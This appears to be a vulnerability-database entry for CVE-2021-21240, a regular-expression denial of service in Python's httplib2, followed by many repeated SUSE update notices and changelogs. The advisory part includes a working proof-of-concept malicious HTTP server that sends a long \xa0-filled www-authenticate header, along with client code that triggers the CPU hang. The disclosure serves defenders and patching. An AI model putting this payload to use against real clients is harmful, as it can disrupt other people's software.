CVE-2021-21240

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

• Open an issue in httplib2
• Email current maintainer at 2021-01

httplib2 is a comprehensive HTTP client library, httplib2.py supports many features left out of other HTTP libraries.

Security Fix(es):

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.(CVE-2021-21240)

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server (CVE-2021-21240).

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches

  • Removing certifi patch: httplib2 started to use certifi and this is already bent to use system certificate…

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches

  • Removing certifi patch: httplib2 started to use certifi and this is already bent to use system certificate…

This update for python-httplib2 fixes the following issues:

• Update to version 0.19.0 (bsc#1182053).
• CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).

These are all security issues fixed in the python36-httplib2-0.19.1-1.2 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python310-httplib2-0.22.0-4.5 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python313-httplib2-0.32.0-1.1 package on the GA media of openSUSE Tumbleweed.

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches

  • Removing certifi patch: httplib2 started to use certifi and this is already bent to use system certificate…

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• update to 0.17.3:

  • bugfixes

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches

  • httplib2 started to use certifi and this is already bent to use system…

This update for python-httplib2 fixes the following issues:

• Update to version 0.19.0 (bsc#1182053).
• CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non-security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• update to 0.17.3:

  • bugfixes

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches httplib2 started to use certifi and this is already bent to use system certificate…

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

• CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
• CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

• Update in SLE to 0.19.0 (bsc#1182053, CVE-2021-21240)

• update to 0.19.0:

  • auth: parse headers using pyparsing instead of regexp
  • auth: WSSE token needs to be string not bytes

• update to 0.18.1: (bsc#1171998, CVE-2020-11078)

  • explicit build-backend workaround for pip build isolation bug
  • IMPORTANT security vulnerability CWE-93 CRLF injection Force %xx quote of space, CR, LF characters in uri.
  • Ship test suite in source dist

• update to 0.17.3:

  • bugfixes

• Update to 0.17.1

  • python3: no_proxy was not checked with https
  • feature: Http().redirect_codes set, works after follow(_all)_redirects check This allows one line workaround for old gcloud library that uses 308 response without redirect semantics.
  • IMPORTANT cache invalidation change, fix 307 keep method, add 308 Redirects
  • proxy: username/password as str compatible with pysocks
  • python2: regression in connect() error handling
  • add support for password protected certificate files
  • feature: Http.close() to clean persistent connections and sensitive data

• Update to 0.14.0:

  • Python3: PROXY_TYPE_SOCKS5 with str user/pass raised TypeError

• version update to 0.13.1 0.13.1

  • Python3: Use no_proxy https://github.com/httplib2/httplib2/pull/140 0.13.0
  • Allow setting TLS max/min versions https://github.com/httplib2/httplib2/pull/138 0.12.3
  • No changes to library. Distribute py3 wheels. 0.12.1
  • Catch socket timeouts and clear dead connection https://github.com/httplib2/httplib2/issues/18 https://github.com/httplib2/httplib2/pull/111
  • Officially support Python 3.7 (package metadata) https://github.com/httplib2/httplib2/issues/123 0.12.0
  • Drop support for Python 3.3
  • ca_certs from environment HTTPLIB2_CA_CERTS or certifi https://github.com/httplib2/httplib2/pull/117
  • PROXY_TYPE_HTTP with non-empty user/pass raised TypeError: bytes required https://github.com/httplib2/httplib2/pull/115
  • Revert http:443->https workaround https://github.com/httplib2/httplib2/issues/112
  • eliminate connection pool read race https://github.com/httplib2/httplib2/pull/110
  • cache: stronger safename https://github.com/httplib2/httplib2/pull/101 0.11.3
  • No changes, just reupload of 0.11.2 after fixing automatic release conditions in Travis. 0.11.2
  • proxy: py3 NameError basestring https://github.com/httplib2/httplib2/pull/100 0.11.1
  • Fix HTTP(S)ConnectionWithTimeout AttributeError proxy_info https://github.com/httplib2/httplib2/pull/97 0.11.0
  • Add DigiCert Global Root G2 serial 033af1e6a711a9a0bb2864b11d09fae5 https://github.com/httplib2/httplib2/pull/91
  • python3 proxy support https://github.com/httplib2/httplib2/pull/90
  • If no_proxy environment value ends with comma then proxy is not used https://github.com/httplib2/httplib2/issues/11
  • fix UnicodeDecodeError using socks5 proxy https://github.com/httplib2/httplib2/pull/64
  • Respect NO_PROXY env var in proxy_info_from_url https://github.com/httplib2/httplib2/pull/58
  • NO_PROXY=bar was matching foobar (suffix without dot delimiter) New behavior matches curl/wget:
    • no_proxy=foo.bar will only skip proxy for exact hostname match
    • no_proxy=.wild.card will skip proxy for any.subdomains.wild.card https://github.com/httplib2/httplib2/issues/94
  • Bugfix for Content-Encoding: deflate https://stackoverflow.com/a/22311297

• deleted patches

  • httplib2 started to use certifi and this is already bent to use system certificate…